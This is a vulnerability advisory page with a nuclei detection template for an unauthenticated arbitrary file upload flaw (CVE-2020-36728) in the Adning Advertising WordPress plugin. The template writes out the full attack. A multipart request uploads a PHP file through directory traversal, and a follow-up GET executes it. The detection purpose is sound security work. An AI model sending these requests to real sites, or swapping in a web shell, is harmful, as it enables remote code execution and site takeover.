WordPress Plugin Adning Advertising < 1.5.6 - Arbitrary File Upload

mediumseverity

6.5CVSS score

3.1%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

The Adning Advertising plugin for WordPress versions below 1.5.6 is vulnerable to arbitrary file upload, allowing attackers to upload malicious files to the server.

Impact

Unauthenticated attackers can upload malicious files to achieve remote code execution, potentially compromising the entire WordPress site and server.

Fix

Upgrade to Adning Advertising version 1.5.6 or later.

How to confirm it

Send: POST /wp-admin/admin-ajax.php?action=_ning_upload_image
Positive when: status_code == 200 and contains_all(body, '{{filename}}','tmp_name','grid_item','success')
Send: GET /{{filename}}.php?input={{base64(marker)}}
Positive when: status_code == 200 and contains(body, '{{marker}}')

Run it with nuclei: nuclei -id CVE-2020-36728 -u <target>

The full check

id: CVE-2020-36728

info:
  name: WordPress Plugin Adning Advertising < 1.5.6 - Arbitrary File Upload
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    The Adning Advertising plugin for WordPress versions below 1.5.6 is vulnerable to arbitrary file upload, allowing attackers to upload malicious files to the server.
  impact: |
    Unauthenticated attackers can upload malicious files to achieve remote code execution, potentially compromising the entire WordPress site and server.
  remediation: |
    Upgrade to Adning Advertising version 1.5.6 or later.
  reference:
    - https://www.wordfence.com/blog/2020/07/critical-vulnerabilities-patched-in-adning-advertising-plugin/
    - https://blog.nintechnet.com/critical-vulnerability-in-adning-advertising-plugin-actively-exploited-in-the-wild/
    - https://codecanyon.net/item/wp-pro-advertising-system-all-in-one-ad-manager/269693
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36728
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-36728
    epss-score: 0.03133
    epss-percentile: 0.87987
    cpe: cpe:2.3:a:tunasite:adning_advertising:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: tunasite
    product: adning_advertising
    framework: wordpress
    fofa-query: body="served by Adning"
  tags: cve,cve202,wordpress,wp,wp-plugin,intrusive,file-upload,adning,rce,vkev,vuln

flow: http(1) && http(2)

variables:
  marker: "{{randstr}}"
  filename: "{{randbase(8)}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=_ning_upload_image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=b214a08e1c094defed15a5cc4c2285ee

        --b214a08e1c094defed15a5cc4c2285ee
        Content-Disposition: form-data; name="allowed_file_types"

        php,jpg,jpeg
        --b214a08e1c094defed15a5cc4c2285ee
        Content-Disposition: form-data; name="upload"

        {"dir": "../"}
        --b214a08e1c094defed15a5cc4c2285ee
        Content-Disposition: form-data; name="files[]"; filename="{{filename}}.php"

        <?php  echo base64_decode($_GET["input"]);?>
        --b214a08e1c094defed15a5cc4c2285ee--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, '{{filename}}','tmp_name','grid_item','success')"
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filename}}.php?input={{base64(marker)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '{{marker}}')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from